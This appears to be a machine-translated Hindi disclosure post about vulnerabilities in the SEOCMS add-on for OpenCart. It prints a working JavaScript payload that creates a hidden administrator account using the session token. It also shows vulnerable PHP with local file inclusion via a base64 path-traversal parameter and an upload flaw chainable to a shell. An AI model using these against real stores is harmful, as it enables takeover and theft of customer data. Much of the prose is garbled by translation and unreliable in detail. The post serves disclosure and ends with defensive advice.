Opencartforum और मित्र

सभी कुत्ते स्वर्ग में जाते हैं, और ओपेनकेनर्ट पर ऑनलाइन स्टोर के सभी मालिक, जल्द या बाद में ओपेनकेनफोरम पर। जब होस्टिंग पर इंजन की पहली स्थापना से उत्सुकता गुजरती है और कठोर वास्तविकता शुरू होती है, तो विशिष्ट स्टोर मालिक हमेशा कुछ याद करने लगता है और वह अपने स्टोर के लिए योग्य ठेकेदारों और गुणवत्ता वाले ऐड-ऑन को खोजने का कठिन रास्ता शुरू करता है।

Runet में सबसे बड़ा संसाधन, जिस पर आप दोनों पा सकते हैं, opencartforum.com है, जिसके आज 140k से अधिक पंजीकृत उपयोगकर्ता हैं। इन 140k पंजीकरणों में से, यहां तक ​​कि आधे लोग जीवित दुकानों के साथ रहते हैं जो टेम्पलेट्स या मॉड्यूल का उपयोग करते हैं जिन्हें साइट पर तुरंत खरीदा जा सकता है। और इन सभी लोगों को यह भी एहसास नहीं है कि ऐड-ऑन के साथ वे अद्भुत बैकडोर और कमजोरियां प्राप्त करते हैं, जो किसी भी माँ के हैकर केवल सपना देख सकते हैं।

यद्यपि फ़ोरम स्टोर में ऐड-ऑन पोस्ट करने के नियमों में एक घोषणात्मक रूप में, यह काले और सफेद रंग में लिखा गया है। हमारे पास qadepbox है, विशेष रूप से प्रशिक्षित लोग कमजोरियों के लिए ऐड-ऑन की जांच करते हैं।

और न तो मंच, जैसा कि मंच जो ऐड-ऑन के लेखक और अंत उपयोगकर्ता के बीच मध्यस्थता करता है, और न ही ऐड-ऑन के लेखक, जैसा कि यह निकला, किसी भी जिम्मेदारी को वहन करता है।
ऐसा कैसे? और इसलिए! ऐतिहासिक रूप से।

घटनाओं के काल्पनिक परिणाम, जो बाद में चर्चा करेंगे, मेरे सिर पर मेरे बाल खड़े हैं।

जरा कल्पना कीजिए। आप एक सफल स्टोर के मालिक हैं, कुछ वर्षों से रात को नहीं सोए, ग्रंथ लिखे, काले, सफ़ेद, ग्रे सेओ में निबटे, पंडों से लड़े, माइनसिनकिन, अपने पेय को खत्म नहीं किया, 100,000 ग्राहकों को आकर्षित किया, पदों में निवेश किया। आपके बच्चे एक अच्छे किंडरगार्टन में जाते हैं, और फिर अचानक आपकी बिक्री आधी हो जाती है, सिर्फ इसलिए कि सभी संपर्कों के ग्राहकों के साथ आपका आधार प्रतियोगियों के पास चला गया। या अचानक आपने इसे पूरी तरह से खो दिया, क्योंकि अब एक महीने से आपका स्टोर किसी और के mysql सर्वर पर काम कर रहा है, और आपने कोफिग के परिवर्तन को नोटिस भी नहीं किया है, और होस्टिंग के सभी बैकअप खराब हो गए हैं।

उन्होंने अपनी भावनाओं को एक समान स्थिति में प्रस्तुत किया, काम किया, कई वर्षों तक काम किया, और एक दिन में यह सब नाली में गिर गया। आप कहते हैं, ऐसा नहीं हो सकता।

लेकिन यह बहुत आसान हो सकता है। अनधिकृत उपयोग के खिलाफ अघोषित अनिर्दिष्ट सुरक्षा "संरक्षण" के साथ केवल एक ऐड-ऑन खरीदना पर्याप्त है, और आपका डेटा जल्दी से अजनबी बन सकता है!

पहली घटना

छह महीने पहले, एक स्टोर को सतही रूप से रोका गया था जब एआई-बोल स्कैनर रिपोर्ट ने सीओएमएस मॉड्यूल (10,000 से अधिक सक्रिय प्रतिष्ठानों) में एक अजीब कोड के लिए एक अजीब चेतावनी दिखाई थी।

हमने नज़दीक से देखना शुरू किया और यह पता चला कि यह अबरकदबरा बस ऐड-ऑन का संस्करण प्रदर्शित करता है:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10; if ($date_diff > 7) { $ver_content = false; $opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda =>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] )))); $context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage(); } $this->model_setting_setting->editSetting('blog_ver', Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); } if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] = $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end'); } else { $this->data['text_new_version'] = ''; } 

इसे छोड़कर ठीक है:

 $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>" 

इसे किसी भी तरह से फ़िल्टर्ड नहीं किया जाता है, और अगर गलती से किसी स्क्रिप्ट को क्लाइंट के संस्करण के बजाय नीचे आता है, तो किसी भी स्टोर में व्यवस्थापक एक्सेस प्राप्त करना जहां मॉड्यूल स्थापित है, समय और तकनीक का मामला है।

 <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function​ getUrlVars​()​ {​ v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​ i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​); }​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​ i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​ hash=​​hashes[​​i]​.s​plit​(​"=")​; vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​ }​ r​eturn​vars;​ } var​ url_vars =​ ​ getUrlVars​(); var​ token =​ ​ url_vars.​ ​token​; var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​ document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​, firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​); }); </script> 

स्थिति का विवरण यहाँ वर्णित है । प्रशासन का नोटिस यहां

संभवतः पाँचवीं बार, इस प्रक्रिया को मंच प्रशासन के लिए बहुत स्पष्ट रूप से प्रस्तुत किया गया था, यह स्थिति की आलोचना को व्यक्त करना संभव था।

और प्रशासन, बदले में, आधिकारिक तौर पर इस भेद्यता की उपस्थिति के उपयोगकर्ताओं को सूचित करता है, और ऐसा लगता है कि इसने ग्राहकों के लिए एक समाचार पत्र भी बना दिया। लेकिन यह सटीक नहीं है।

ऐड के लेखक की धमकियों और सबूतों को पर्दे पर पीछे छोड़ दें और दो महीने और आगे बढ़ें ...

दूसरी घटना

एक और स्टोर निरीक्षण के लिए आता है, जिसमें प्रत्येक पृष्ठ पर 3-4 सेकंड तक जंगली फ्रिज़ होते हैं। हम एक्सटेंशन .php के साथ 20k + फ़ाइलों के कैश के साथ फ़ोल्डर में विघटित और देखना शुरू करते हैं। Php एक्सटेंशन कार्ल के साथ कैश फ़ाइलें, यह कोई दुर्घटना नहीं है!

हम इन फ़ाइलों की डेटा संरचना में देखते हैं, और फिर से हमारे सुंदर SEOCMS मॉड्यूल के टुकड़े हैं।

और एक महान विधि:

 protected function ajax_file() { $ajax_file_cached = false; $ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"])); if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { } return $ajax_file_cached; } 

यह एक क्लासिक भेद्यता का एक उदाहरण है - स्थानीय फ़ाइल शामिल।

यह बेस 64 में कोड के लिए पर्याप्त है ../....../config.php और हैलो - आवश्यकता ($ ajax_fit); और कृपया: यहां आपके पास डेटाबेस से पासवर्ड हैं, और यहां सिस्टम त्रुटि लॉग है, और यदि / आदि / pwd बहुत आवश्यक है, हालांकि यह लंबे समय से अप्रासंगिक है, ठीक है, अगर क्या?

और कितने होस्टर्स और सर्वर डिफ़ॉल्ट सेटिंग्स के साथ phpmyadmin की दुनिया में चमकते हैं? आधा? अधिक?

हम आगे देखना शुरू करते हैं और हम क्या पाते हैं? अद्भुत अवतार डाउनलोड कोड:

 if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename); // Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file); // To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_IMAGE . $file); $new_filename = $avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original); if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') { $width = $this->data['thislist']['avatar_width']; } else { if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') { $width = $this->data['generallist']['avatar_width']; } else { $width = '100'; } } if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') { $height = $this->data['thislist']['avatar_height']; } else { if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') { $height = $this->data['generallist']['avatar_height']; } else { $height = '100'; } } $this->load->model('tool/image'); $json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false); if (trim($avatar_thumb)=='') { $json['error'] = $this->language->get('error_upload'); } if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file); } } } 

जो पूरी तरह से त्रुटि में पड़ जाता है, जब किसी प्रकार के शेल को लोड करने के बाद आकार बदलने (और हमें डाउनलोड की गई फ़ाइल को पूरा रास्ता दिखाता है), और फिर इसे पिछली विधि द्वारा पूरी तरह से निष्पादित किया जाता है।

भेद्यता शोषण वीडियो (php सिस्टम त्रुटि आउटपुट चालू) के साथ:


भेद्यता शोषण वीडियो (php सिस्टम त्रुटि आउटपुट बंद) के साथ:


कोड विश्लेषण अप्रैल 2019 में मॉड्यूल संस्करण 52 पर आयोजित किया गया था।

चूंकि मंच के लेखक और प्रशासन दोनों को एक ही तारीखों में सूचित किया गया था, इसलिए कमजोरियों के उन्मूलन के खरीदारों को सूचित करने के लिए सभी संभावित कार्रवाई करने के लिए उन्हें पर्याप्त समय दिया गया था, हम, एक स्पष्ट विवेक के साथ, सभी विवरणों का खुलासा कर सकते हैं।

और उस क्षण, कुछ हुआ। डेवलपर के सर्वर पर उसका अपना मॉड्यूल था। लेकिन भेद्यता इस पर काम नहीं करती थी। वह ढंका हुआ था ... और यह एक बड़ी विषमता है। बहुत बड़ा !!!

और इस पूरी कहानी की दूसरी विचित्रता यह है कि ऐड-ऑन की गुणवत्ता नियंत्रण के लिए प्रशासन और विभाग के व्यक्ति में opencartforum पहली या दूसरी घटना नहीं देखी गई थी, और पहली अधिसूचना में दोनों मामलों में कुछ भी महत्वपूर्ण नहीं पाया गया था।

जब दुनिया में आपके विन्यास चमकते हैं तो निश्चित रूप से कुछ भी महत्वपूर्ण नहीं है। जब कुछ अच्छे दुकानदार इस बात से अनजान होते हैं कि उनके हुड के नीचे क्या चल रहा है, तो कुछ भी महत्वपूर्ण नहीं है। आखिरकार, वे एक बार, किसी ने इस ऐड को डाल दिया, और मेल किए बिना, उन्हें यह भी पता नहीं है कि पूरा व्यवसाय सीधे खतरे में है।

और अगर पहली घटना पर प्रशासन की एक अलग प्रतिक्रिया थी, तो दूसरे पर इसके उल्लेख के साथ सभी पोस्ट हटा दिए जाते हैं। और यह सब एक मंच की पेशकश द्वारा कवर किया गया है, जिसके अनुसार, व्यावसायिक परिवर्धन के बारे में, टिप्पणी मृत के बारे में छोड़ दी जा सकती है - या तो अच्छा या कुछ भी नहीं।

लेखक का यह भी दावा है कि त्रुटियों और छेदों को ठीक किया गया है, क्यूडेपार्टमेंट बिक्री के लिए ऐड-ऑन से चूक गया, लेकिन नहीं, छेद नहीं हैं ...

 protected function ajax_file() { if (!class_exists('PHP_Exceptionizer', false)) { if (function_exists('modification')) { require_once(modification(DIR_SYSTEM . 'library/exceptionizer.php')); } else { require_once(DIR_SYSTEM . 'library/exceptionizer.php'); } } $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ajax_file_cached = false; $filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])), ENT_QUOTES, 'UTF-8')); $ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { ob_start(); require($ajax_file); $ajax_html = ob_get_contents(); ob_end_clean(); header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax'); exit(); } return $ajax_file_cached; } catch (E_WARNING $e) { } } 

आवश्यकता () अभी भी यहाँ है। इनपुट थोड़ा फ़िल्टर्ड है। लेकिन संभावित एलएफआई दोनों रहते हैं और रहते हैं। यदि थोड़ा अधिक है, तो हाँ, अब हम खोल को न तो लोड कर सकते हैं और न ही निष्पादित कर सकते हैं। लेकिन मान लें कि हमने कोशिश की, बंद किया, index.php को छोड़कर किसी भी स्क्रिप्ट को निष्पादित किया, और यहां तक ​​कि nginx config स्तर पर, जिसे किसी भी तरह से एक्सेस नहीं किया जा सकता है। लेकिन कहीं और, दुष्ट हैकर को कैश फ़ोल्डर में एक मनमाना फ़ाइल डालने का अवसर मिला। क्या होगा? यह सही है - विलुप्त कोड निष्पादित करने के लिए, प्राप्त अनुरोध में हैश उत्पन्न करने में दो मिनट लगते हैं। यही है, अंत में यह निकलता है, यह एक तरह का बंद है, लेकिन यह पूरी तरह से पसंद नहीं है।

ठीक है, छोटी चीजें: इस तरह के भव्य रिश्ते भाषा फ़ाइलों में कैसे चमकते हैं:

 if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) { $_['value_revres'] = HTTPS_SERVER; $_['value_ctlg'] = HTTPS_CATALOG; } else { $_['value_revres'] = HTTP_SERVER; $_['value_ctlg'] = HTTP_CATALOG; } 

और वे चमकते हैं ... आप परियोजना की जड़ का पूरा रास्ता जानना चाहते हैं। बस उस एरर डिस्प्ले के साथ स्टोर को ढूंढें जो चालू है और लिंक को सीधे भाषा फ़ाइल में चलाता है।

लेखक के कोड की लाइनों के मेगाबाइट में ऐड-ऑन को अपडेट करने के बाद और क्या हो सकता है इसका अध्ययन करने के लिए - न तो संसाधन हैं और न ही इच्छा। इसके लिए विशेष रूप से प्रशिक्षित जिम्मेदार लोग हैं।

और केक पर चेरी। हमें याद है, हमारे पास एक वाणिज्यिक ऐड-ऑन है ... और एक वाणिज्यिक ऐड-ऑन में हमारे पास लेखक के संसाधन पर छिपे हुए पाठ हैं:

www.google.com/search?q=%22Powered+by+SEO+CMS%22

दिलचस्प बात यह है कि ऐड-ऑन खरीदारों में से कम से कम एक ऐसे "अद्भुत" ईस्टर अंडे के बारे में जानता है?

आज, पूरक दोनों बेचा और बेचा जाता है। स्थिति पर ध्यान देने के लिए कॉल के साथ पोस्ट बस हटा दी जाती हैं। किसी भी खरीदार को दूसरी घटना के बारे में चेतावनी सूचनाएं नहीं मिलीं। शायद 20-30% ऐड-ऑन उपयोगकर्ताओं ने अपडेट किया है, लेकिन 70% - भले ही हम ऐड-ऑन के उपयोग के बारे में आधिकारिक लेखक के आंकड़ों के बारे में बात कर रहे हैं, ये 7000 स्टोर हैं (वास्तव में, अधिक - क्योंकि कोई भी यह सुनिश्चित करने के लिए नहीं जानता है कि क्लाइंट स्टोर पर फ्रीलांसरों में कितनी प्रतियां स्थापित की गई थीं? विस्तारित लाइसेंस) एक बहुत बड़ा जोखिम क्षेत्र है।

बैरन मुनचाऊसेन के शब्दों में, मैं केवल एक ही बात कहना चाहता हूं: अपडेटेड सज्जनों!

ग्राहकों के लिए

क्या करें, जो इस डूबती पनडुब्बी में समा गए:

• फूट पर कचरा न छोड़ें। Info.php, adminer.php और अन्य सभी ट्रैश देखें। आपके पास केवल index.php और एक dot होना चाहिए।
• पासवर्ड, सभी पासवर्ड (ftp, admin panel, database) को नियमित रूप से बदलें। और सुनिश्चित करें कि आपके पास गलती से अतिरिक्त अजीब खाते नहीं हैं।
• त्रुटि आउटपुट अक्षम करें। हमेशा, यदि आप काम नहीं करते हैं, तो इंटरप्रेटर कॉन्फ़िगरेशन स्तर पर त्रुटि आउटपुट बंद करें और स्टोर सेटिंग्स में नहीं।
• हां, मुझे पता है कि यह बहुत संभव नहीं है, लेकिन आपको कम से कम सुरक्षा से संबंधित इंजन कोड के अपडेट के साथ अद्यतित रहना चाहिए, और आदर्श रूप से, नियमित रूप से इंजन को स्थिर संस्करणों में अपडेट करना चाहिए।
• नियमित रूप से यात्राओं के लॉग को देखें, बहुत सारी दिलचस्प चीजें हो सकती हैं। विसंगतियों पर नज़र रखें।
• स्टोर के आईपी व्यवस्थापक पर एक पासवर्ड या प्रतिबंध के साथ अतिरिक्त रूप से बंद करें और विभिन्न कमजोर वर्गों, जैसे कि phpmyadmin। यदि यह एक साझाकरण है जिसमें phpmyadmin सभी के लिए आम है, तो ऐसी होस्टिंग से दूर भागें!
• यदि आप sxd और इसी तरह की उपयोगिताओं का उपयोग करते हैं, तो उन्हें तुरंत एक यादृच्छिक वर्ण सेट में बदल दें।
• नेगनेक्स का उपयोग करते समय, यह वर्चुअल होस्ट कॉन्फ़िगरेशन के नियमों को जोड़ने के लायक है जो साइट के रूट और व्यवस्थापक अनुभागों में index.php के अलावा किसी भी php स्क्रिप्ट को चलाने पर रोक लगाता है।
• अपने खाते से कचरा न फेंके। यदि आपके पास स्टोर है, तो इसे स्टोर होने दें। एक खाते के तहत wp-ब्लॉग, बगों की बाल्टी और विभिन्न परीक्षण डोमेन का भार न रखें।
• अपने वर्चुअल होस्ट की जड़ में कभी भी किसी साइट या डेटाबेस के बैकअप को स्टोर न करें।
• सर्वर / होस्टिंग पर लोड देखें, पीक लोड से कम से कम x2 की आपूर्ति रखने का प्रयास करें, और यदि अचानक बिना किसी कारण के लोड अचानक बढ़ जाता है, तो कारण जानने का प्रयास करें। आगे निकल जाना बेहतर है कि आगे निकल जाना!